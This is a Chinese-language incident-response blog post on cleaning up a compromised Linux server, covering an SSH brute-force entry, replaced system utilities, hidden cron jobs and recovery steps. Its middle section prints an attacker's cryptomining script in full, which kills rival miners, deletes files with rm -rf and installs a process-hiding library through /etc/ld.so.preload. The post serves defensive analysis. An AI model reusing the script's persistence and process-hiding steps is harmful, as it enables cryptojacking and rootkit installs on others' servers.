Linux服務器被黑客入侵,怎么辦?
原文鏈接:https://www.cnblogs.com/operationhome/p/16637763.html
一、服務器入侵現(xiàn)象
近期有一個朋友的服務器(自己做了網(wǎng)站)好像遭遇了入侵,具體現(xiàn)象是:服務器 CPU 資源長期 100%,負載較高。服務器上面的服務不能正常提供服務。 
二、服務器排查和處理
2.1、服務器被入侵的可能原因
-
服務器 ssh 密碼 設置得很簡單。
-
騰訊云安全組范圍放得很大。
-
使用了寶塔,寶塔面板的密碼也是很簡單的密碼(應該不是這個入侵入口)。
2.2、排查和處理步驟
1.ps -ef / top 找出占用進程最大的服務
-
問題現(xiàn)象
ps/top 命令已經(jīng)被替換了。

2.查找詳細的入侵痕跡 last 或者 grep 'Accepted' /var/log/secure。
-
問題現(xiàn)象
[root@VM-12-12-centos ~]# grep 'Accepted' /var/log/secureAug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8
我們在這里就可以看到,有一些境外IP 34.215.138.2成功登錄了,這些 IP不是我們的正常登錄。在 /var/log/secure 日志里,我看到了 IP 34.215.138.2 嘗試登錄不到500次 就已經(jīng)破解成功了。lighthouse 騰訊云輕量服務器
-
處理措施
這里我們立馬采取了第一個措施,
-
在騰訊云安全組限制了 SSH 的登錄
IP, 之前的安全組 SSH 是放行所有IP。 -
將 SSH ROOT 密碼修改。
-
/root/.ssh/authorized_keys備份,并清空。
[root@VM-12-12-centos ~]# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bakcp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied
這時我們就遇到了權限的問題,這個晚點展開講,因為我們已經(jīng)限制了源IP, 所以這個我們可以晚點來處理。
3.查看最近新增的一些用戶-
問題現(xiàn)象
cat /etc/passwd

-
處理措施
鎖定用戶
[root@VM-12-12-centos ~]# usermod -L sys1
我這里不計劃去找進程(已經(jīng)在新建一臺版本一致的系統(tǒng), 來拷貝 top 和 ps 命令,需要一小會,我們趁這個時間,先看看其他),因為之前朋友重啟過服務器,發(fā)現(xiàn)服務器啟動過一會才會負載較高。我認為入侵者應該放了一些定時任務和啟動腳本里面。
-
問題現(xiàn)象
定時任務
crond 讀取配置文件會從以下幾個路徑讀?。?/span>
-
/var/spool/cron/, 由crontab -e 進行寫入,配置文件無需指定用戶 -
/etc/crontab,只能root 進行編輯,配置文件需指定用戶 -
/etc/cron.d/,在此文件夾下創(chuàng)建定時任務文件,配置文件需指定用戶 -
/etc/cron.*
/var/spool/cron/ 未找到(后面會說到這里有障眼法)

/etc/crontab 未找到(后面會說到這里有障眼法)
但是我在 /var/log/cron 一直看到有任務執(zhí)行。每間隔5分鐘。
Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )
Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
-
處理措施
/usr/lib/mysql/mysql 和 /sbin/httpss 給刪除。刪除的時候還是提示沒有權限。我們知道這些文件應該是加瑣了,所以我開始解鎖,我們發(fā)現(xiàn) chattr 也被替換和鎖住了。所以不能操作下去了。
開機啟動腳本
/etc/rc.local , 我們也發(fā)現(xiàn)了一個腳本。
[root@VM-12-12-centos ~]# cat /etc/rc.local#!/bin/bash# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES## It is highly advisable to create own systemd services or udev rules# to run scripts during boot instead of using this file.## In contrast to previous versions due to parallel execution during boot# this script will NOT be run after all other services.## Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure# that this script will be executed during boot.
/usr/bin/0f4f80f9ab start
但是這個文件好像不存在的,我們就把這個給注釋了。
5.還原更改了 top、ps、chattr、lsattr
首先我們從相同版本的機器拷貝了 chattr、lsattr, 我們得先操作這個, 因為我們的 top 和 ps 都被鎖住了。
我將文件上傳至 /tmp 目錄,然后增加可執(zhí)行權限,然后先給 /usr/bin/chattr 解除鎖定。
/tmp/chattr -ai /usr/bin/chattr
執(zhí)行完之后,發(fā)現(xiàn)還是不能替換 /usr/bin/chattr 。最后耗費了一段時間才反應到,入侵者可能不僅僅加鎖了文件還加鎖了 /usr/bin/ 。
-
解鎖目錄
/tmp/chattr -ai /usr/bin/
這下才能把 /usr/bin/chattr 給替換掉。
接下來參考這些,我們把 top 和 ps 、lsattr 給還原了。
部分截圖

三、本次入侵需要帶來啟示的點
1.ps 、top 、chattr 、lsattr
在這些命令被替換了,并且我們想還原又還原不了的場景,我們可以拷貝同版本的機器相同的命令放在其它目錄,用這些命令來解除入侵者將它已經(jīng)替換并鎖定了文件。注意有些入侵者不僅會在文件層面加鎖,還會在當前的文件的目錄這一層加鎖。我之前在這個上面困惑了一段時間。2.文件內容隱藏
上文中,我執(zhí)行 crontab -l 和 cat 查看 /etc/cron.d/ 下面的文件。發(fā)現(xiàn)文件沒有內容。
其實不知道使用了什么特殊字符還是什么隱藏了, 其實是存在定時任務的。
示例:



3.其中一個腳本
我們可以看到這個腳本其實一直在 更改[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464#!/bin/shwhile test 1 = 1dosleep 30pkill -f mainkillall mainkillall sprshduerjsaiapkill -f sprshduerjsaiakillall dr64pkill -f dr64killall .report_systempkill -f .report_systemkillall sshcpkill -f sshcpkill -f memorykillall memorykillall warmupkillall kokokillall kthreaddkkillall systemckillall crontkillall xm64_linuxkillall /var/tmp/j/./intelshellpkill -f dos32pkill -f dos64pkill -f .namepkill -f /usr/sbin/dbuspkill -f systemd-boot-check-no-failureskillall .report_systempkill -f .report_systempkill -f keep-alivepkill -f linupkill -f zappppkillall [scan]killall [ext4]pkill -f xm64_linuxpkill -f ddrirckillall ./-bashpkill -f ./-bashkillall kworkerskillall dbuspkill -f biden1pkill -f cpuminer-sse2killall work64pkill -f work64killall work32pkill -f work32killall aarch12pkill -f aarch12killall bash1pkill -f bash1killall intelshellpkill -f intelshellkillall heavenpkill -f heavenkillall .syst3mdpkill -f .syst3mdpkill -f apachelogskillall .meinkampfpkill -f .meinkampfkillall xripkill -f xrikillall kokopkill -f kokokillall work32-deamonpkill -f work32-deamonkillall work64 -deamonpkill -f work64 -deamonkillall secure.shpkill -f secure.shkkillall auth.shpkill -f auth.shkillall autoupdatepkill -f kworkerspkill -f autoupdatekillall ld-linuxpkill -f ld-linuxpkill -9 Donaldkillall -9 Donaldpkill -f /usr/local/bin/pnscanpkill -f /usr/bin/biden1killall /usr/bin/biden1killall rkillall tracepkill -f minerdkillall minerdpkill -f xm64killall xm64pkill -f sysdmkillall sysdmpkill -f syst3mdkillall syst3mdpkill -f xrigkillall xrigpkill -f busyboxkillall busyboxpkill -f josephkillall josephpkill -f osamakillall osamakillall daemonpkill -f obama1killall obama1pkill -f kswapd0killall kswapd0pkill -f jehgmskillall jehgmspkill -f tsmkillall tsmpkill -f rigkillall rigpkill -f xmrkillall xmrpkill -f playstationkillall playstationpkill -f ld-linux-x86-64killall ld-linux-x86-64pkill -f ruckusapdkillall ruckusapdpkill -f run64killall run64pkill -f pwnrigkillall pwnrigpkill -f phpupdatekillall phpupdatepkill -f sysupdatekillall sysupdatepkill -f phpguardkillall phpguardpkill -f firstpresskillall firstpresspkill -f zerocertkillall zerocertpkill -f masscankillall masscanpkill -f -bashpkill -f spreadQlmnopkillall spreadQlmnopkillall -bashpkill -f cnrigkillall cnrigpkill -f netvhostkillall netvhostpkill -f kthreaddskillall kthreaddspkill -f kthreaddkillall kthreaddpkill -f kdevtmpfsikillall kdevtmpfsipkill -f linuxservicekillall linuxservicepkill -f rtmonitorkillall rtmonitorpkill -f devkillall devpkill -f xmrigkillall xmrigpkill -f masterkillall masterkillall sysmdpkill -f sysmdpkill -f sendmailkillall sendmailpkill -f ld-musl-x86_64.killall ld-musl-x86_64.killall watchdogpkill -f watchdogpkill -f 32678killall 32678killall dhpcdpkill -f dhpcdkillall linux_amd64pkill -f linux_amd64killall xredispkill -f xrediskillall Linux2.6killall .chornydpkill -f .chornydkillall Operapkill -f Operakillall libertydpkill -f libertydkillall rcubindpkill -f rcubindkillall clamscanpkill -f clamscankillall pnscanpkill -f pnscankillall zzhpkill -f zzhkillall bioserpkill -f bioserrm -rf /root/.configrc/rm -rf /tmp/.X26-unix/rm -rf /tmp/.bash/rm -rf /root/.bash/rm -rf /root/.cache/rm -rf /tmp/.cache/rm -rf /dev/shm/.ssh/rm -rf /etc/.etcservice/linuxservicerm -rf /etc/.vhost/netvhostrm -rf /tmp/up.txtrm -rf /var/tmp/.update/rm -rf /var/tmp/.systemd/rm -rf /usr/sbin/.bash./.bash/rm -rf /etc/masterrm -rf /usr/bin/busyboxrm -rf /bin/sysmdrm -rf /tmp/.mx/rm -rf /dev/shm/.mx/rm -rf /usr/bin/xrigrm -rf /etc/32678rm -rf /root/c3pool/rm -rf /usr/bin/.sshd/rm -rf /tmp/divsystemctl stop c3pool_miner.servicesystemctl stop pwnriglhttps.servicesystemctl stop crytosystemctl stop scansystemctl stop botsystemctl stop myservice.servicesystemctl stop netns.servicesystemctl stop cryptsetup.serviceecho /usr/local/lib/libprocesshider.so > /etc/ld.so.preloadlockr +ai /etc/ld.so.preload >/dev/null 2>&1chmod 777 /usr/lib/mysql/*/usr/lib/mysql/./mysqldone
/etc/ld.so.preload 的內容。并且在關閉一些掃描軟件和系統(tǒng)的服務。
在 Linux 操作系統(tǒng)的動態(tài)鏈接庫加載過程中,動態(tài)鏈接器會讀取 LD_PRELOAD 環(huán)境變量的值和默認配置文件 /etc/ld.so.preload 的文件內容,并將讀取到的動態(tài)鏈接庫進行預加載,即使程序不依賴這些動態(tài)鏈接庫,LD_PRELOAD 環(huán)境變量和 /etc/ld.so.preload 配置文件中指定的動態(tài)鏈接庫依然會被裝載,它們的優(yōu)先級比 LD_LIBRARY_PATH 環(huán)境變量所定義的鏈接庫查找路徑的文件優(yōu)先級要高,所以能夠提前于用戶調用的動態(tài)庫載入?!温湟浴毒枥?Linux 預加載型惡意動態(tài)鏈接庫的后門》我已經(jīng)刪除了
/usr/local/lib/libprocesshider.so 文件,之后每次執(zhí)行命令會有這個報錯。

/etc/ld.so.preload 之后,我發(fā)現(xiàn)好了一會后,還是出現(xiàn)這個,我再看 /etc/ld.so.preload 文件,里面又寫了 /usr/local/lib/libprocesshider.so ,我懷疑還有定時任務,但是我找了一會定時任務,還是沒有找到。后面在查看異常進程的時候,我看到了這個進程


四、本次服務器被入侵的一些啟示
-
用好云廠家的安全組。對一些關鍵端口,放行規(guī)則盡量最小/
-
服務器相關的一些密碼盡量增加復雜性。
-
增加對一些關鍵文件的監(jiān)控. (通過監(jiān)控軟件監(jiān)控 md5值)
-
服務器入侵之后,我們需要怎么處理才是最好的。
https://cloud.tencent.com/document/product/296/9604
https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST
-
服務器如果有開放 SSH 遠程登錄,可以設置限制登錄(安全組、或者服務),只放行自己的IP. 查找詳細的入侵痕跡
last或者grep 'Accepted' /var/log/secure
/root/.ssh/authorized_keys /etc/passwd 這些文件也可以看下。將一些新建的用戶鎖定。
-
服務器如果可以關閉外網(wǎng),就關閉外網(wǎng)。在安全組層面設置下,或者路由或者NAT。
-
首先看下 ps/top 命令有沒有被篡改, 如果有的話, 從其他正常的機器上拷貝至服務器上。然后執(zhí)行查看異常進程。也要查詢下 /etc/ld.so.preload 是否有被篡改。如果有的的話,記得清空里面的內容,然后將對應的文件刪除或者重命名。
如果使用過程中遇到了文件不可刪,不可改的問題,需要使用 chattr -ia 文件名 如果 chattr 也被串改,那就需要從別的機器拷貝。然后復原。
-
如果上述沒有找到,可以通過 netstat 間接查看異常的連接從而查詢異常進程。
-
檢查開機啟動 和 crontab 相關的內容 。
-
檢查異常進程。
以上就是這次入侵的處理過程和得到的一些小啟示,后續(xù)有了解新的會繼續(xù)補充。
往期推薦
- 小孩也能學會的 Kubernetes 繪本教程
- 優(yōu)秀的 Shell 運維腳本鑒賞
- 企業(yè)主流全鏈路監(jiān)控系統(tǒng)
- 阿里 Nacos 高可用集群部署
- 神器 Nginx 的學習手冊 ( 建議收藏 )
- K8S 常用資源 YAML 詳解
- DevOps與CI/CD常見面試問題匯總
- 我會在Docker容器中抓包了!
- 19 個 K8S集群常見問題總結,建議收藏
- 運維高可用架構的 6 大常規(guī)方案
- 運維監(jiān)控指標全方面總結
- 9 個實用 Shell 腳本,建議收藏!
- 詳解 K8S Helm CI/CD發(fā)布流程
- ES+Redis+MySQL,這套高可用架構設計太頂了!
- 一臺服務器最大能支持多少條TCP連接?
- K8S運維必知必會的 Kubectl 命令總結
- 16 張圖硬核講解 Kubernetes 網(wǎng)絡
- 史上最全 Jenkins Pipeline流水線詳解
- 主流監(jiān)控系統(tǒng) Prometheus 學習指南
點亮,服務器三年不宕機
